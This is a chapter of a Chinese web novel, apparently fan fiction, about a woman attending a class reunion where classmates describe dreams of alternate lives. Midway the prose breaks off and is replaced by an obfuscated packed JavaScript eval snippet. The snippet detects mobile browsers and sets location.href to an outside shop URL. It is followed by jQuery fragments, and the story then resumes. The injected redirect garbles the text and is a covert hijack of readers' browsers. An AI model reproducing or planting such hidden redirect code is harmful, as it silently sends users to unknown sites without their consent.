“这件裙子会不会有点太正式了?”


    视频电话通着,我将我衣柜里的衣服都翻出来,一件件给闺蜜看。


    “蓝色那件你什么时候买的,我怎么没印象。”闺蜜关注的重点居然是我什么时候买的新衣服,“蓝色的好看,穿那条。”


    我的视线落在那条蓝色条纹衬衫裙上面,也有点想不起来究竟是什么时候买的了,“那就穿这条,那你穿什么颜色?我记得上回你买的那件鹅黄色带针织小开衫的套裙很好看,可以搭配我今天穿的蓝色。”


    “这件?”闺蜜拿起一套已经搭配好的暖色系衣服,狡黠地笑了起来,“我当然已经选好了,就等着你提出来呢。”


    现在已经是八月末,气温仍旧有些炎热,我将衣服换好之后,给自己做了全套的皮肤防护措施,这才拿着遮阳伞准备出门。


    迪克半躺在懒人沙发上看书,听到我的脚步声抬起头来,微微坐直了身体。


    “你今天就要去参加那个同学会?”


    “是啊,你觉得我今天穿的这身怎么样?”我在他面前转了个圈,裙摆随着我的动作翻飞起来,我很喜欢这样像是花朵盛开的款式,每次穿上都很喜欢转圈。


    “或许你需要搭配一个腰带?”迪克非常中肯地给出了自己的建议,“你今天晚上几点回?需要我去接你吗?”


    我低头看了一眼裙腰,从善如流地接受了迪克的建议,转回卧室又拿了一条基础款的腰带来配,“我今天可能会玩到很晚,不需要来接,我如果喝酒了会叫代驾。”


    我想了想,“你今天没有出门的计划吗?”


    同居的日子过久了,我都有点忘记迪克没有我的话出不了我这个门。


    “不,我今天没有其他安排,如果你回来的晚的话我会给你留灯。”迪克从懒人沙发上站起来,将手里的书放回原来的位置,送我出门。


    经常熬夜的小鸟来到我家之后也变成了一个作息规律的人,不过或许他们之前熬夜只是因为没有时间睡觉,而不是不想睡觉。


    这一点让我又一次忍不住心生怜爱,“我会早点回家的,你如果困了可以先睡。”


    迪克靠在门框上笑看着我穿鞋,“玩的开心,女孩。”


    房门在身后闭合。


    我站在原地发了会呆,总感觉刚刚的对话有哪里不太对劲,但是一时半会又想不出来到底哪里不对劲,索性不想那么多了,准备出发。


    同学会定在中午,于是我先去和闺蜜汇合,再一起去定好的饭店,这次闺蜜也开了自己的车来,我立刻就被她这次骚包的车身给晃花了眼睛。


    “你为什么要开你的痛车来啊。”我惨不忍睹地捂住眼睛,感觉受到了折磨,“而且还是我画的柄图。”


    求求你了,放过我吧。


    闺蜜笑嘻嘻地搂着我的肩,她比我高一点,体格带了些许北方姑娘的大骨架,能轻而易举地把我搂在怀里,“当然是因为我其他的车都送去保养咯。”


    “其实你可以不开车来的,把我的车借你都行啊!”我被闺蜜的胳膊勒的直翻白眼,“松手,我要被你勒死了。”


    我们两个就这样进行了一番亲切友好的交流,直到时间差不多了,我们才慢吞吞地驱车前往指定地点。


    班长定的饭店是这一片区域里非常有档次排面的包厢,商务合作之类需要请客吃饭的时候都会优先考虑这家饭店。


    礼宾员将我和闺蜜引到了二楼一处相对僻静的包厢,还未进门就已经听到了谈话声。


    我和闺蜜对视一眼,立刻选择开始扒墙角偷听。


    礼宾员看了看我又看了看闺蜜,满脸困惑地离开了。


    最先听到的是班长的声音,一年多不见,她的声音仍旧很熟悉,又轻又缓,让人一下子就能分辨出来。


    “......除了这件事,还有好多人都......”


    “对对对,我也......”


    包厢的隔音效果太好了,导致我听的一知半解的,闺蜜拽了拽我的裙摆,示意我们先进去。


    推开门,几个身影已经围着圆桌坐下了,见到我和闺蜜进来,都热情地对我们打招呼。


    简单地寒暄几句过后,我们两个人落了座,一看位置还空出来几个,班长笑着说:“还有两个人今天有事情不来了,我们现在开席吧?”


    席面是早就定下的,礼宾员陆续上菜,都是本地时兴的特色,不过我们所有人的注意力都不在菜上,随着第一瓶酒的启封,大家都开启了推杯换盏模式。


    我有些心不在焉地听着坐在身边的同学谈论这一年过得如何如何,是创业赚了还是投资赔了,是结婚了还是生小孩了,这些东西距离我都很远,毕竟我的工作时间很自由,家里也没有催我结婚生小孩的打算,我自己对于婚姻和小孩的理解都只是一个空泛的概念,完全没有那个想法。


    最后话题拐到了一个奇怪的点上,他们似乎又开始谈论起我和闺蜜刚刚偷听但是没听成的话题。


    “最近我总是做梦,梦到我好像变了一个人,在一个陌生的城市工作。”其中一个同学说,“我差点就以为那是真实发生的了,因为实在太真实,我被吓醒了,因为那个世界我生了三个小孩。”


    这确实有点吓人了。


    另一个同学连忙附和,“对的,我也做了这样的梦,我梦见我的工作单位变成一家私企,每天上着早八晚十的班,还要时不时加班,累成狗一样,吓得我直接醒了,我辛辛苦苦考上的编制不能就这么飞了。”


    闺蜜在我耳边窃窃私语,“编制的工作不是更累吗?”


    我不动声色地翕动嘴唇,“上岸的人都这样,理解一下。”


    闺蜜缩回脑袋。


    随着话题的深入,我已经不能将他们的梦境当做是无关紧要的杂趣闲谈,而是在心里认真记录他们所说的相关的梦。


    这些梦都有一个共同点,他们都梦到了另一个世界截然不同的自己,截然不同的人生。


    “我做的梦跟你们不太一样诶,我还挺想那个梦成真的。”一向有些活泼的一个同学撑着脑袋说,“我最近创业不是失败了吗,我梦里反而创业成功了,拿到了大公司给的天使投资,我创办的那家公司市值直接翻了几倍,我爸妈再也不用辛辛苦苦去上班了,还把我爷奶家爹从村子里接到大房子里住。”


    那是人生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17056945|193922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的另一种可能。


    我的眉心不自觉地蹙起,想起两个世界融合的事情。


    因为是高维世界,所以并不是一下子就被同化了吗?


    这种情况出现在我的同学们身上,那么大概率就已经大范围的传开了。


    就在我沉思之时,坐在我身侧的闺蜜也开了口。


    “我昨天也做了这个梦。”


    我转过头看向她。


    “我梦到我家公司上市了,身价猛涨,然后我转头就去意大利买了个足球俱乐部,每天买大牌球星给我踢球,年年拿奖杯。”


    她的脸上露出了诡异的红晕,看起来已经完全沉醉在梦境里了。


    我:“......”


    我拿起酒杯,给自己灌了一口。


    所有人都笑了起来,最后目光齐刷刷看向我。


    “媛媛,你没有做那个梦吗?”班长问。


    我还能怎么样,这种时候我总不能不合群。


    我的脸上挂起一个笑容,“当然不是啦,我做的那个梦里,我变成了一个行侠仗义的女侠,天天走街串巷专为人打抱不平。”


    “当律师吗,那确实是个不错的梦了。”考上编的那个同学一脸认同地跟我碰杯。


    闺蜜戳了戳我,对着我挤眉弄眼。


    我立刻悟了,闲聊时间已经结束,正餐要来了。


    除了班长和另一个男同学之外,我们彼此对视一眼,开始起哄让那个男同学去帮我们拿东西。


    班长有些紧张,一向娴静淡雅的脸上显露出几分忐忑,她在男同学出去之后,飞快地检查了一番自己身上的衣着,不断地询问我们她现在看起来好不好看。


    “别紧张,大大方方的!”闺蜜在班长身边给她理了理裙摆,拍拍她的背,“谈恋爱就要掌握主动权,我看好你!”


    这次来的同学都是跟班长平时玩的很好的朋友,我们都在不断地给予她肯定和赞美,在整理好一切之后,我们关上了灯。


    “等等,好像没有这个环节......”班长下意识地抬起头,却发现男同学去而复返,怀里还抱着一捧巨大的玫瑰花束。


    我和闺蜜站在角落里,“还是看别人谈恋爱有意思。”


    我感叹。


    闺蜜赞同地点头,“还是别人的恋爱好嗑。”


    她又转头看向我,“话说你家里那个还没走吗?”


    我脸上的笑容不变,“没有呢,还在做准备。”


    “哦——”闺蜜拉长声音,目光却十分犀利,慢吞吞地说:“做准备。”


    黑暗中,我感觉整张脸都因为闺蜜这阴阳怪气的语调给整红温了,“你怎么这样,我有在努力啊!”


    “你动摇了。”


    “我没有。”我矢口否认。


    闺蜜收回视线,没有再继续这个话题。


    我伸手抹了一把脸,从桌子上拿起自己的酒杯灌了一口。


    冰凉的酒液滑入食管,我冷静下来,继续围观班长和男同学互相隐瞒的表白大戏。


    “少喝点,一会还要转战去ktv,今天晚上有你喝的时候。”


    我想了想,还是把酒杯放下了。